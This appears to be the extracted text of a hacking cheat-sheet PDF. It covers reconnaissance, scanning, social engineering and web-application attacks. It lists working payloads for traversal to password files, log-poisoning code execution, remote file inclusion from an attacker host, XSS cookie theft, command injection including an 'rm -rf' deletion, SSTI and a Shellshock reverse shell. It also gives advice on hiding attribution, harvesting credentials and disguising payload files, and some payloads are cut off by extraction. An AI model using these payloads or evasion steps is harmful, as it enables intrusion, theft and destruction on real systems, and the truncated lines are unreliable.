Hitch Hacker's Guide To The Network

User Manual:

Open the PDF directly: View PDF PDF.
Page Count: 86

DownloadHitch-Hacker's Guide To The Network
Open PDF In BrowserView PDF
HGN
HITCH-HACKER’S GUIDE TO THE
NETWORK

Ian the BitThirsty Hunter
By opening this book you agree that you
will not use this knowledge on any system
you do not own or do not have express
permission to test / troubleshoot / hack
into.
With great power comes great responsibility –Stan Lee

Last update: 26 April 2019

1

Contents

Precautions ................................................................................................................................................... 4
Passive Recon ................................................................................................................................................ 5
Active Recon ................................................................................................................................................ 7
Open Source Intelligence (Maltego) ............................................................................................................. 8
Social Engineering ....................................................................................................................................... 10
Fingerprinting / Scanning .......................................................................................................................... 11
Scanning: Nmap / MetaSploit Integration ............................................................................................... 14
Sniffing (While you scan) .......................................................................................................................... 15
Web Application Attacks ........................................................................................................................... 16
Serialize Exploits ........................................................................................................................................ 23
Database Injection Attacks ....................................................................................................................... 26
Enumeration .............................................................................................................................................. 30
Password Searching ................................................................................................................................... 33
Password Cracking/Guessing .................................................................................................................... 35
Pass the Hash ............................................................................................................................................. 39
Encryption Exploitation ............................................................................................................................. 40
CCTV Systems ............................................................................................................................................. 41
Privilege Escalation .................................................................................................................................... 46
Gaining An Initial Foothold ......................................................................................................................... 50
Port Forwarding / Proxies / Tunneling ..................................................................................................... 52
Metasploit .................................................................................................................................................. 54
PowerShell Empire .................................................................................................................................... 57
PowerShell: Nishang .................................................................................................................................. 61
Payload Generation/AV Bypass ................................................................................................................ 62
Post Exploitation ........................................................................................................................................ 65
Linux Essentials .......................................................................................................................................... 67
Linux Scripting ............................................................................................................................................ 72
Python Essentials ....................................................................................................................................... 74
Windows Essentials ................................................................................................................................... 76
PowerShell Essentials ................................................................................................................................ 78
Android Essentials ..................................................................................................................................... 80
Ports............................................................................................................................................................ 81
2

Training: Certs, Links, & Books ................................................................................................................. 84
Hacker Toys ................................................................................................................................................ 85
CryptoNotes ............................................................................................................................................... 86

3

Precautions

Precautions
Encrypt your hard drive
Use a virtual machine with all traffic routed through Tor projects like Whonix, Tails,
Qubes TorVM, etc. Here’s a comparison link.
Connect to a VPN or bridge node first before connecting to Tor.
Use anonymous payment like bitcoin for cloud servers. Cloud services in different
countries have different types of laws and are more likely to attract pen testers.
macchanger –A eth0

:change your MAC address

Attribution
Change servers, domain names, emails, etc
Use tools publicly available
Use indicators of APTs in your code to emulate attribution:
Kiran Blanda maintains a GitHub repository with copies of public threat intelligence
reports
Companies can pay for intel reports from Kaspersky and CrowdStrike

Cloud Hosting Solutions (First piece of Misattribution)
DigitalOcean
:choose US, Germany, Singapore, England, Netherlands, India, Canada
Virtuzo
:Worldwide servers
Huawei
:(use Google Translate), popular Chinese audio streaming service
(Netease cloud music) uses this
Baehost
:Argentina cheap cloud hosting
ovh.com
:France cheap cloud hosting
esecuredata.com
:Canadian cheap cloud hosting
webhuset.no
:Norwegian cheap cloud hosting

4

Passive Recon

Google Hacking
site: [url]
site:Microsoft.com –site:www.microsoft.com
numrange:[#]…[#]
date:[#]
link: [url]
related: [url]
intitle: [string]
intitle:”netbotz appliance” “OK –filetype:pdf
inurl: [string]
inurl:”level/15/exec/-/show”
filetype: [xls]
phonebook: [name]

:search only one url
:ex showing subdomains
:search within a number range
:search within past [#] months
:find pages that link to url
:find pages related to url
:find pages with [string] in title
:example showing appliances on the net
:find pages with [string] in url
:ex showing open cisco routers
:find files that are xls
:find phone book listings of [name]

Reconnaissance Against Sites
https://www.exploit-db.com/google-hacking-database/ :Google Hacking Database
https://www.shodan.io/
:Google equivalent for security
www.netcraft.com/
:indirect recon against web servers
whois 
:basic info including owner
whois 
:basic info including owner

Subdomain Enumeration
wget www.cisco.com
:download cisco index page
grep “href=” index.html | cut –d “/” –f 3 | grep “\.” | cut –d ‘”’ –f 1 | sort –u
:ex of cutting subdomains out of index
for url in $(cat list.txt); do host $url; done|grep “has address” | cut –d “ –f 4 |
sort –u
:get ips for subdomain list

Email Harvesting (Find emails and possibly usernames for an organization)
theharvester –d cisco –b google > google.txt
theharvester –d cisco.com –l 10 –b bing > bing.txt

:harvest through Google
:harvest through Bing

Leaked / Compromised Web Search
DLPDiggity
SearchDiggity

:search for leaked SSN, PII, etc
:search for website exploiting browsers

MetaData Harvesting: ExifTool
exiftool [filename]

:extract metadata like usernames, etc

MetaData Harvesting: Strings
wget –nd –R htm, html, asp, aspx, cgi –P /tmp/metadata [targetdomain] :pull website
strings /tmp/* | grep –i firewall
:search md for “firewall” string
strings /tmp/* | grep –i password
:search md for “password” string
other search strings: authentication, security, finance, e-mail, 

Pull Websites Offline
wget –nd –R htm, html, asp, aspx, cgi –P /tmp/metadata [targetdomain] :linux
(New-Object System.Net.WebClient).DownloadFile(http://site,c:\site.html”); gc
c:\site.html
:Powershell-pull single site down

5

Online Tools
Shodan
DNS Dumpster
NerdyData
Carrot2
2lingual
Maltego

:most known security search engine
:domain research tool
:searches known snips of code
:keyword search visualization
:very helpful for international jobs
:commercial tool but highly effective

6

Active Recon

DNS Enumeration
host –t ns megacorpone.com
:enum DNS servers
host –t mx megacorpone.com
:enum mail servers
host –l  
:host cmd for zone transfer
ex: host –l megacorpone.com ns1.megacorpone.com
dnsrecon –d megacorpone.com –t axfr
:automated zone xfer tool
dnsenum zonetransfer.me
:another automated zone xfer tool
nslookup  >set type= any >ls –d  :dns zone xfer request
dig @  -t AXFR
:dig sometimes works when nslookup wont

IP Address Info
nmap --script=asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24

Robots.txt Scan
Nmap –n –script=http-robots.txt.nse  -p 80,443

Recon-ng
recon-ng
show options
show modules
search resolve
use recon/domains-contacts/whois_pocs
use recon/domains-vulnerabilities/xssed
use recon/domains-hosts/google_site_web
use recon/hosts-hosts/ip_neighbor
show info
set SOURCE cisco.com
add netblocks 10.10.10.0/24
run
show hosts

:start recon-ng
:show variables
:contacts, credentials, domains, etc
:search modules that would resolve names
:employee names & emails plugin
:existing XSS vulns
:search additional subdomains
:discover neighboring IP addresses
:view module description
:set a specific source
:specify a range of ips
:last command to run
:view after running against ip range

7

Open Source Intelligence (Maltego)

Maltego
Interactive Data Mining tool
**Attribution evasion with once exception (see next)
Anonymity: Important note is that in most cases information is downloaded to the
Maltego server, then to your local client – meaning the external entity will see
Maltego servers querying you not your external facing ip. However, this does not apply
to downloading images – it goes directly to your. There are two options. First option
is to set up a proxy. Second option is to turn off auto-downloading images under
Settings / Miscellaneous.
Maltego Transforms Worth Noting
ThreatGrid
Shodan
Social Links Facial Recognition

:tie your Cisco products together
:
:paid subscription, free ver has darkweb

External Recon (Infrastructure) / Footprinting (Full walkthrough, not all steps apply to situations)
Short Version
Create domain entity (i.e. army.mil)
On left hand side click Machines
Footprint L1
:Only down the path once – fast and simple
Footprint L2
:L1 plus Shared NS/MX and Shared websites
Footprint L3
:L2 plus reverse on netblocks, domains from reverse DNS, builtwith
Footprint XXL
:lots of false positives needs a lot of result tuning
Find Wiki Edits
:Look for Wiki edits from their ip ranges (if they didn’t sign in)
Company Stalker
:email addresses from a domain, social networks, and metadata
How to Create Your own Machine Macro with additional transforms
Long Version
Enumerate External Infrastructure
Create domain entity (i.e. army.mil)
Transform / Paterva CT / DNS from Domain (the whole group of 9)
Transform / Paterva CT / Resolve to IP (the whole group)
Transform / All Transforms (no group) / To NetBlock [natural boundary]
-it is not in a group because you only want to use 1, not all 3
Transform / All Transforms / To AS number
Transform / All Transforms / To Company [Owner] – may need to select by type 1st
Then go back up in Reverse to find related info
Select by Type [AS] / To Netblocks in this AS
Select by Type [Netblock] / To DNS Names in Netblock [Reverse DNS]
Shared
Select
Select
Select

Infrastructure
by Type [MX records] / To Domains (Sharing this MX)
by Type [NS records] / To Domains (Sharing this NS)
by Type [DNS] / To Domain

All In-House Strategy (large companies)
Shared MX for more domains
Shared NS for more domains
Hosts multiple web servers on single host
Look for patterns in configuration (mx1,mx2)
Cyclical footprinting process
Hybrid Strategy (company controls some internally, outsource some)
Look at shared infrastructure they control (MX, NS, SOA, SPF, Websits, DNS)
Validate you are still in targets infrastructure:
Validate domains – whois
Validate ips – whois, reverse DNS
Outsourced Strategy
Shared infrastructure on MS/NS is out

8

Almost nothing points to IPs in real network
Search at internet registry (ARIN/RIPE/APNIC/etc), usually in whois
Reverse DNS
Search IP on Internet via search engine
Wikipedia entries (Wikipedia transforms)
Personal Strategy
No infrastructure to enumerate
Email to individual with clickable link, embedded image
Legal route – subpoena for ISP
External Recon – Service Enumeration
Enumerate other sites
Create domain entity (i.e.
Transform / Paterva CTAS /
Transform / All Transforms
Transform / All Transforms

army.mil)
DNS From Domain / To Website Using Domain [Bing]
/ To Tracking Codes
/ To Other Sites with Same Code

Service Enumeration (continued)
Investigate Tab / Select by Type / Website
Transform / Paterva CTAS / All / To Server Technologies [Using BuiltWith]
Look for unpatched, exploitable services
*alternatively, you can go to https://builtwith.com and use outside maltego
**Maltego Teeth allows integration with the MetaSploit Database

External Recon – Attribution
Enumerate Attribution from
targets, etc)
Create domain entity (i.e.
Transform / Paterva CTAS /
Transform / Paterva CTAS /

File MetaData (possible user names, social engineering
army.mil)
Files and Documents from Domain (group of 2)
Parse Meta Information

Figure Out Email for Company
Email Addresses From Domain (group of 3)
To DNS Name – MX (mail servers)
To Domain (convert)
Email Addresses From Domain (group of 3)
If you still aren’t finding anything, google contact “company”, look for domain name
they use then run Email Addresses from Domain
Spear phish based on that information
Add entity - Type Personal / Person
Autopopulate name based on naming convention from previous step
All Transforms / Verify Email Address Exists
Pivot for Other Emails based on company emails
To Email Addresses [PGP]
Reverse Picture search
Type in someones number on WhatsApp, then do reverse picture search
Twitter Geographic Search
Convert an address to GPS coordinates online, i.e. https://www.latlong.net/convertaddress-to-lat-long.html
Transforms / Paterva CTAS / To Circular Area
Then To Tweets From Circular Area
To Twitter Affiliation [Convert]

9

Social Engineering

People search
site: [url] vip
site: [url] president
site: [url] contact

:
:
:

Social Networking Recon
LinkedIn
Facebook
Twitter, Google+, Pinterest, Myspace, Orkut

:usually greatest source of info
:find out what they ate for lunch

What to Name Files with Payloads Inside (E-mail, leave USBs around, etc)
*renaming .pif hides windows extensions and makes it executable but shows like the
first file extension
Bonus_Plan
:
Layoff_Plan
:
Best Pics
:

Exploiting Through Social Engineering
cd /pentest/exploits/set
./set
2
3
2
https://www.facebook.com/login.php
alternatively you could do
cd ./set
python –m SimpleHTTPServe

:social engineering toolkit
:website attack vectors
:credential harvester method
:site cloner
:clone fb, listens on port 80

:starts server to serve payloads

10

Fingerprinting / Scanning

Passive Fingerprinting
p0f -i eth0 -p -o /tmp/p0f.log
fl0p

Sniff While Scanning (Can be helpful)
tcpdump –nn host 
nmap –n –sT 

:sniff a particular ip
:shows 3 way handshake in tcpdump

Nmap Probe/Sweeps (quicker, less results)
nmap
nmap
nmap
nmap
nmap
nmap
nmap
nmap

–PB 
–sP 
–PS[portlist] 
–sn 
–PA 
–PP 
–PM 
–PR 

:ICMP ER, SYN-443,ACK-80;ICMP TSR
:ICMP ping sweep (many fws block)
:TCP ACK ping;i.e. –PS80
:ping sweep
:TCP Syn ping
:ICMP timestamp request (type 13)
:ICMP address mask request (type 17)
:ARP discovery-only works on same subnet

Nmap Scans
Nmap –Pn
:turns off ping before scan-use often
nmap –sT –A –P0 
:detailed info
nmap –F 
:Fast scan – top 100 ports
nmap –p 80 
:scan single port
nmap –sA 
:TCP ACK Scan
nmap –sF 
:FIN Scan (set FIN bit of all packets)
nmap –sS 
:stealth scan (half open, not stealthy)
nmap –sT 
:TCP Connect Scan
nmap –sU –p 53,111,414,500-501
:UDP Scan (specified ports)
nmap –sW 
:TCP Windows scan
nmap  –-script=
:Nmap Scripting Engine
nmap  --script smb-os-discovery.nse
:nmap NSE example
grep safe /opt/nmap-6.4.7/share/nmap/scripts/script.db :search for safe NSE scripts
nmap  –-iflist
:show host interfaces & routes
nmap  –-reason
:shows you why it gave you what it did

:estimate progress during scan

Nmap OS Fingerprinting (most bandwidth intensive scan)
nmap –O 
nmap –A 
nmap –sV 

:OS scan
:detect OS & services
:standard service detection

Nmap Fuzzing Scans
nmap
nmap
nmap
nmap

–sM 
–sX
–sN
–s0 

:TCP Maimon scan (set FIN & ACK bits)
:Xmas Tree Scan (FIN, PSH, URG bits)
:null scan (set all control bits to 0)
:Scan IP protocols(TCP,ICMP,IGMP,etc.)

Nmap Output Options
nmap –oA outputfile
nmap –oX outputfile.xml 
nmap –oG outputfile.txt 

:save grep, xml, and normal format
:save xml file
:save grep format file

11

Nmap Firewall Scans
nmap
nmap
nmap
nmap
nmap
nmap
nmap

–-badsum
–sN 
–sF 
–sX 
–f 
–n –D,ip2
–-spoof-mac 0

:RESET from good and bad checksum means firewall
:TCP Null scan to fool fw to generate response(TCP flag header 0)
:TCP Fin scan to check firewall (TCP FIN bit)
:Xmas Scan (FIN, PSH, URG flags)
:-f causes scan (including ping) to use fragmented packets
:-D makes it look like decoys are scanning also
:0 chooses a random MAC to spoof

TCP Idle Scan (scan stealthily by spoofing ip address of another host on network)
msfconsole
:start metasploit
use auxiliary/scanner/ip/ipidseq
:look for idle computers
show options
:show parameters
set RHOSTS ; set THREADS 10
:set parameters
run
*We get a list of potential idle hosts to use as our target; pick one
nmap –PN –sI  
:launch TCP Idle Scan

MetaSploit Port Scans
msfconsole
search portscan
use auxiliary/scanner/portscan/syn

:start MetaSploit
:search for portscans
:select a particular portscan

SQL Scan
*Saves a ton of time because UDP 1434 is what you query to discover dynamic SQL ports
(i.e. if they changed it from the non-standard TCP 1433)
msfconsole
:open metasploit
use auxiliary/scanner/mssql/mssql_ping
:scanner for SQL
show options
:show parameters
set RHOSTS ; set THREADS 10
:set parameters
run
:run

SSH Scan
*FTP often easily exploitable
msfconsole
use auxiliary/scanner/ssh/ssh_version
show options
set RHOSTS ; set THREADS 10
run
OR
nmap –n –script=sshv1.nse  -p 22

:open metasploit
:scanner for SSH version
:show parameters
:set parameters
:run
:check for SSHv1 (weak)

FTP Scan
*older SSH versions have easily exploitable vulnerabilities
msfconsole
:open metasploit
use auxiliary/scanner/ftp/ftp_version
:scanner for FTP version
show options
:show parameters
set RHOSTS ; set THREADS 10
:set parameters
run
:run

SNMP Sweep
*SNMPv1 and v2 very flawed, v3 much more secure
msfconsole
:open metasploit
use auxiliary/scanner/snmp/snmp_login
:scanner for SNMP version
show options
:show parameters
set RHOSTS ; set THREADS 10
:set parameters
run
:run

RDP (Windows) - Loud

12

rdesktop –u guest 

:guest often authenticates

Netcat Port Scans
nc –v –n –z –w1  20-80
echo “”|nc –v –n –w1  

:netcat port scan
:port scanner which harvests banners

Windows Command Line Ping Sweep
For /L %i in (1,1,255) do @ping –n 1 10.0.0.%i | find “TTL”

:TTL shows successful

Powershell Scans
1.255 | % {ping –n 1 –w 100 10.10.10.$_ | select-string ttl} :Ping sweep
1..1024 | % {echo ((new-object Net.Sockets.TcpClient) .Connect("10.0.0.1",$_)) "Port $_
is open" } 2>$null
:Port Scan

Fast Scan Tools (for big blocks of ips)
ScanRand
Zmap
MassScan

:one program sends SYNs; one receives
:scans all of IPPv4 for one port
:utilizes threading

Response Meanings
RST + ACK (TCP)
ICMP Port Unreachable (TCP)
ICMP Port Unreachable (UDP)
No response (TCP)
No response (UDP)

:likely port closed or firewall blocking
:most likely blocked by firewall
:most likely port is closed
:most likely nothing listening on system
:could be port closed,firewall,ignored?

13

Scanning: Nmap / MetaSploit Integration

Nmap & MetaSploit
msfconsole
dbstatus
db_nmap –Pn –sS –A 
db_nmap –O 
db_import /tmp/file.xml
db_import /tmp/file.nessus
exit

:start metasploit
:verify metasploit is connected to db
:populate db with scan
:populate db with OS Scan
:import nmap scan file
:import nessus vulnerability scan
:

MetaSploit Database Querying
hosts
hosts –add 
hosts –S linux
services
services –add –p 80 
vulns
vulns –S RPC
vulns –p 445

:show discovered hosts
:manually add host
:show linux hosts
:show discovered services
:manually add services for hosts
:show vulnerabilities discovered
:show RPC vulnerable hosts
:show vulnerable smb hosts

MSFMap Meterpreter Module (Scan from Compromised Host)
exploit
load msfmap
msfmap –sP
msfmap –sT
msfmap –-top-ports

:exploit meterpreter shell
:load module into meterpreter
:ping sweep
:TCP Connect scan
:same as nmap

14

Sniffing (While you scan)

WinDump (Windows)
Tcpdump ported to Windows

WireShark
At the startup, click the capture interface you want to monitor. You can add a capture
filter such as host  and tcp port 4444 to filter out unwanted traffic. In Kali
click Capture / Interfaces, then click options and you can set a filter. In Windows
it’s right there on the main page.

tcpdump (Linux)
tcpdump –n
tcpdump –i [int]
tcpdump –v
tcpdump –w
tcpdump –x
tcpdump –X
tcpdump –A
tcpdump –s [snaplength]
tcpdump 
tcpdump host 
tcpdump net 
tcpdump port 
tcpdump portrange 
port src
port dst

:use #s instead of names for machines
:sniff interface (-D lists ints)
:verbose (IP ID, TTL, IP options, etc)
:Dump packets to file (-r to read)
:print hex
:print hex & ASCII
:print ASCII
:older vs: –s 0 to capture whole packet
:capture certain protocol traffic
:only give packets from that host
:
:
:
:only from that host or port
:only from that destination

tcpdump Examples
tcpdump –nnX tcp and dst 
tcpdump –nn tcp and port 445 and host 
tcpdump –nv –s0 port 445 –w /tmp/winauth.pcap

:view tcp packets with ASCII & hex
:view TCP p445 going to or from 
:-s0 means full packets, -w dumps 2 file

Sniff Authentication Sessions
Pcap Strings Search
ngrep –q –I /pcaps/sample.pcap “SEARCHPHRASE” :-q only headers & payload
ngrep –q –I /pcaps/sample.pcap “HTTP/1.0”
:should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET
:alternate search
tshark –nr /sample.pcap –Y “http.request.method==GET” :alternate search

15

Web Application Attacks

Fingerprinting the Web Server
telnet  
GET /HTTP/1.1
Host: putanyvalue

:telnet to the server
:retrieve header info
:

Browse site, look for upload/download, authentication forms, admin section, data entry
F12, read source code
Actions Mapped to URLs, for example Ruby on Rails:
/objects/ will give you a list of all the objects;
/objects/new will give you the page to create a new object;
/objects/12 will give you the object with the id 12;
/objects/12/edit will give you the page to modify the object with the id 12;
404/500 errors can also show info

Robots.txt Exclusions (Heavily used with PHP)
Nmap –n –-script=http-robots.txt.nse  -p 80 :shows robots.txt exclusions
Joomla robots.txt: www.example.com/robots.txt

Web Server Scanners
Sparta
Noisy but several tools built in
Nikto
./nikto.pl –h  -p  -output 
wikto (port of Nikto to Windows in .NET)

:www.cirt.net;free; can be Nessus plugin
:www.sensepost.com

Burpe
Commercial tool, only a couple hundred a year, well worth it for pen testers
Wfuzz
python wfuzz.py -c -z file,wordlist/general/common.txt --hc 404 http://site/FUZZ
Email Banner Grabbing / Login with netcat
nc –nv  25
nc –nv  110
nc –nv  143

;HELP
;USER bob;PASS bob
;USER bob; PASS bob

:netcat connect to mail server,see help
:netcat connect to mail server over 110
:netcat connect to mail server over 143

XML Attacks (xPath Example)
Good to start with, common in web apps
Original: http://ip/dir/page.php?xml=default
Modify to: http://ip/dir/page.php?xml=]>%26x;
*can use ftp or http
XPath Example
http://ip/dir/page.php?name=default’
:inserting ‘ shows xPath used
http://ip/dir/page.php?name=default' and '1'='1
:should get the same result
http://ip/dir/page.php?name=default' or '1'='0
:should get the same result
http://ip/dir/page.php?name=default' and '1'='0
:should not get any result
http://ip/dir/page.php?name=default' or '1'='1
:should get all rslts needs more
http://ip/dir/page.php?name=default' or 1=1]%00
:needs proper enclosing, this work
http://ip/dir/page.php?name=default'%20or%201=1]/parent::*/child::node()%00 :go up node
hierarchy

Directory Traversal

16

Commands to test if susceptible to traversal (assume photo.jpg on the site)
/images/./photo.jpg: you should see the same file
/images/../photo.jpg: you should get an error
/images/../images/photo.jpg: you should see the same file again
/images/../IMAGES/photo.jpg: you should get an error (depending on the file system) or
something
*note that on Windows /images/ folder will work even if it doesn’t exist but this will
not work on Linux web servers. Try reading the html source code to find.
Test to Retrieve /etc/passwd
images/../../../../../../../../../../../etc/passwd
:don’t need to know amount of ../s
http://domain.com/folder/page.php?file=/var/www/files/../../../../../../../etc/passwd
Server Side Code Adds Suffix, Use Null Bytes to Bypass
http://domain.com/folder/page.php?file=/var/www/files/../../../../../../../../../../etc
/passwd%00%00%00%00%00%00%00%00%00%00
:wont work after PHP 5.3.4
Script to retrieve etc/passwd using linux commands or windows bash
% wget -O - 'http://server/directories/page.php?file=../../../../../../../etc/passwd'
[...]
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[...]

File Inclusion
Local File Inclusion
http://ip/dir/page.php?page=intro.php’
:adding ‘ can test for file inclusion,
sometimes can give you directory on server to test for directory traversal
http://ip/dir/page.php?page=../../../../../../../etc/shadow :in include() example
http://ip/dir/page.php?page=/var/www/fileincl/../../../../../../../../../../etc/passwd%
00%00%00%00%00%00%00%00%00%00
:remove suffix added by server, php 5.3.4Remote File Inclusion
http://ip/dir/page.php.php?page=https://assets.pentesterlab.com/test_include.txt
:shows php info
http://ip/dir/page.php?page=?page=https://assets.pentesterlab.com/test_include.txt%00%0
0%00%00%00%00%00%00%00%00
:remove suffix added by server, php 5.3.4Contaminating Log Files
nc –nv 192.168.11.35 80


:netcat to victim web server
:ends up writing to our access.log

Executing Code with Local File Inclusion Vulnerability
*execute our contaminated log file
http://192.168.11.35/addguestbook.php?name=a&comment=b&cmd=ipconfig&LANG=../../../../..
/../../xampp/apache/logs/access.log%00
Remote File Inclusion Vulnerability
http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evl.txt
:In this case the language variable was not set
nc –nlvp 80
:nc listener on 10.5 box

XSS Attacks
Check to see if susceptible to XSS

:simple check to see if susceptible
Example: change the url extension example.php?name=default value to
example.php?name=
PutSomething :change to example.php?name=
example.php?name=ript>alert(1)ipt>
PutSomething
*Note great converter & script
Javascript Insertion
F12, in this example  :inserted next command
";alert(1);var%20$dummy%20=%20"
F12, in this example  :similar to last, in this example
server is html encoding turning quotes into " (viewable in source/F12 in example)
‘;alert(1);var%20$dummy%20=%20’
PHP_SELF (Not using htmlspecialchars)
page.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E
be susceptible to XSS

:Pages using PHP_SELF can

DOM Based (Client Side XSS)
page.html?default=
:example 1
page.php#hacker=
:example 2
http://www.some.site/somefile.pdf#somename=javascript:attackers_script_here :i.e. 3
1st example is php page using document.write w/ URL ending in page.html?default=French
2nd example mounts the same attack without it being seen by the server (which will
simply see a request for page.html without any URL parameters
3rd example finds a PDF link on the site, victim using unpatched adobe is vulnerable
Example XSS Sending Cookie From Web Server to Requestb.in
https://site.com/index.php?name=hacker

XSS Tools
BeEF
:software, defacement, metasploit, shell
Jikto
:XSS to attack internal systems
http://www.owasp.org-search XSS Filter Evasion:XSS Encoding / Filter Evasion
www.xssed.com
:XSS Encoding / Filter Evasion

Code Injection
Check to see if susceptible to Code Injection (PHP Example)
Try inserting a single quote at the end
/* random value */
injecting a simple concatenation "."
"."te"."st"." instead of test
Compare not using PHP sleep function, and using sleep(0) or sleep(5)
Concatenate commands on Input Defined Ping Example
Try inserting directly into the input box or the url
127.0.0.1 ; cat /etc/passwd

18

Examples (PHP)
page.php?name=default’
:inserting a single quote could give info
page.php?name=default"."
:should return error giving us info
page.php?name=default"./*inserteddata*/"
:should show regular page if working
page.php?name=default".system('uname -a'); $dummy=" :example php code inj
page.php?name=default ".system('uname -a');%23
:(%23=#), same as above
page.php?name=default ".system('uname -a');//
:same as above, may need to
convert ;=%3B
Examples (Perl)
*note page doesn’t automatically show cgi-bin, have to look in source
page/cgi-bin/hello?name=default’.system(‘uname –a’);%23
Examples (PHP with SQL)
Test various breaks to see what works on example: .php?order=id
.php?order=id;}//
:test methods, may not work exactly
.php?order=id);}//
:get warning, may be right
.php?order=id));}//
:in this case unexpected ) – just take out
.php?order=id);}system('uname%20-a');//
:in example we get successful execution
PCRE_REPLACE_EVAL Example (/e) - PHP
*Deprecated as of PHP 5.5.0, causes to evaluate new code as PHP code before substitution
http://ip/dir/page.php?new=hacker&pattern=/lamer/&base=Hello
:original link
http://ip/dir/page.php?new=hacker&pattern=/lamer/e&base=Hello
:/e gives error
http://ip/dir/page.php?new=system('uname%20-a')&pattern=/lamer/e&base=Hello
:gives us code execution
PHP: Using Assert Function To Gain Code Execution Example
page.php?name=default”
: test inserting ‘ and “ to see if errors
page.php?name=default’
:receive assert error
page.php?name=default’.’
:error messages disappears when adding ‘.’
Page.php?name=default '.phpinfo().'

Command Injection
Check if susceptible to Command Injection (PHP Example code using system command in
server side script)
page.php?ip=127.0.0.1
:default page
page.php?ip=127.0.0.1’ls’
:inj cmd inside backticks
page.php?ip=127.0.0.1|cat /etc/passwd/
:redirect result from 1st into 2nd
page.php?ip=127.0.0.1%26%26cat%20/etc/passwd
:%26%26= && encoded
Add encoded new line to bypass some filters (used in multiline)
page.php?ip=127.0.0.1 %0als
: %0a = encoded new line
Use PHP function header if value doesn’t match security constraint
telnet vulnerable 80
GET /dir/page.php?ip=127.0.0.1|uname+-a HTTP/1.0
Using netcat: echo "GET /dir/page.php?ip=127.0.0.1|uname+-a HTTP/1.0\r\n" | nc vuln 80
OR
echo -e "GET /dir/example3.php?ip=127.0.0.1%26%26ls HTTP/1.1\r\nHost:
192.168.79.162\r\nConnection: close\r\n" | nc 192.168.79.162 80
Ruby on Rails Eval Function Example
“
:break out of string to see errors
“+’COMMAND’+”
:remember URL encode + to %2B
?username="%2B`[/usr/local/bin/score%20697532c5-0815-4188-a912-c65ad2307d28]`%2B"
Python Application Command Injection – Example with system access loaded already
page/dir/default"%2bstr(True)%2b"test
:Ensure Python by app-str() and True
page/dir/default"%2bstr(os.system('id'))%2b"test :test code execution
page/dir/default"%2bstr(os.popen('id').read())%2b"test :gives more info – replace id w/cmd
Python Application Command Injection – system access NOT loaded already
page/dir/default"%2bstr(True)%2b"test
:Ensure Python by app-str() and True
page/dir/default"%2bstr(os.system('id'))%2b"test :test code execution; doesn’t exe properly
page/dir/default"%2bstr(__import__('os').system('CMD'))%2b"test
:import cmds

19

page/dir/default"%2bstr(__import__('os').system('rm –rf /critPath'))%2b"test :delete
Python Application Command Injection – “/” prevented so use base 64 encoding
page/dir/default"%2bstr(True)%2b"test
:Ensure Python by app-str() and True
page/dir/default"%2bstr(os.system('id'))%2b"test :test code execution; doesn’t exe properly
page/dir/default"%2bstr(__import__('os').system(
__import__('base64').b64decode('aWQ=')))%2b"test :

LDAP Attacks (PHP Example)
Using two null values to authenticate (even if not LDAP based)
Change default page: http://ip/dir/page.php?username=user&password=pass
Change to:
http://ip/dir/page.php
Filter Injection to Bypass Auth – PHP Example
username=hacker&password=hacker we get authenticated (default)
username=hack*&password=hacker we get authenticated (wildcard on user work)
username=hacker&password=hac* we don't get authenticated (wildcard on pass doesn’t)
:deduce password is probably hashed
http://ip/dir/page.php?name=hacker)(cn=*))%00&password=rtrtrtr
http://ip/dir/page.php?name=a*)(cn=*))%00&password=rtrtrtr
The end of the current filter using hacker)
An always-true condition ((cn=*)
A ) to keep a valid syntax and close the first )
A NULL BYTE (%00) to get rid of the end of the filter
nmap script to search LDAP: nmap -p 389 --script ldap-search 

File Upload Attack (PHP Example)
Include Function with No Filter Example
Upload script named test.php
http://ip/dir/page.php?cmd=cat%20/etc/passwd
Bypass Filtering for File Upload
Try uploading with extension .php3 or .php4 or .php5
Try uploading with extension .php.blah
:if doesn’t recognize .blah tries .php
Upload .htaccess file to enable extensions
Iceweasel Add-ons
Cookies Manager+
Tamper Data

:allows for cookie modification

Browser Redirection/IFRAME Injection in Unvalidated Web Form
nc –nlvp 80
:first we set up nc listener on attacker
*Next we enter an iframe redirection in an unvalidated web form


Cookie / Session Stealing
nc –nlvp 80
:first we set up nc listener on attacker
*Next we enter javascript to get the cookie; get PHPSESSID info

*Then enter PHPSESSID for Name in Cookies Manager+ and Session info in content

Server Side Template Injection
Example 1 – 404 Error Management
:Uber SSTI Example
Enumerate the functions available:
http://site/test{{''.__class__.mro()[1].__subclasses__()[1]%7D%7D
Enumerate a specific function, in this case subprocess.Popen
http://site/test{{''.__class__.mro()[2].__subclasses__()[233](['CMD', 'CMD';])}}
Example 2 (Twig 1.9.0)
http://site/?name=hacker{{_self.env.registerUndefinedFilterCallback(%27exec%27)}}{{_sel
f.env.getFilter(%27COMMAND%27)}}

20

Shellshock (Apache Server)
Use Nmap to identify open ports. TCP port 80 is opened and Apache service running
Use Burp to navigate to the URL, detect that any URLs accessed when the page is loaded
By using Firebug, we can identify any CGI page which call system command /cgibin/status in our example. Needed for exploiting shellshock
Read Arbitrary Files Example
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo
\$( 443 -e /bin/sh\r\nHost: \r\nConnection: close\r\n\r\n" | nc
 80
Alternate Example
Use Fiddler to identify cgi-bin packet, drop in composer to copy (or in Burpe right
click the GET request for cgi-bin and send to Repeater.
Test for shellshock: Replace the user agent string with User-Agent: () { :;}; echo
$( 1234 –e /bin/bash
If we don’t get a response that’s good because our netcat session is still open.

Tomcat
mod_jk
Looking at the GET request in this example only shows us Apache, not showing Tomcat
If we try to go to a non-existent page contained within the site, we see Tomcat version
This is indicative of a mod_jk vulnerability
Going to site/manager/html will not get you there because it’s only exposed by Tomcat,
not Apache
In our example site/examples is the Tomcate service, but site/examples/../manager/html
wont work because the browser normalizes in this example. Try
site/examples/%252e%252e/manager/html
:here we have to double encode – mod_jk
decodes %25 as “%”, then tomcate decodes %2e as “.”
tomcat/tomcat, admin/admin, admin/tomcat, admin/no password are default logins
Here we want to upload a .war file which is actually just a zip file
index.jsp (from PenTesterLabs) – alternatively you could use a Servlet too
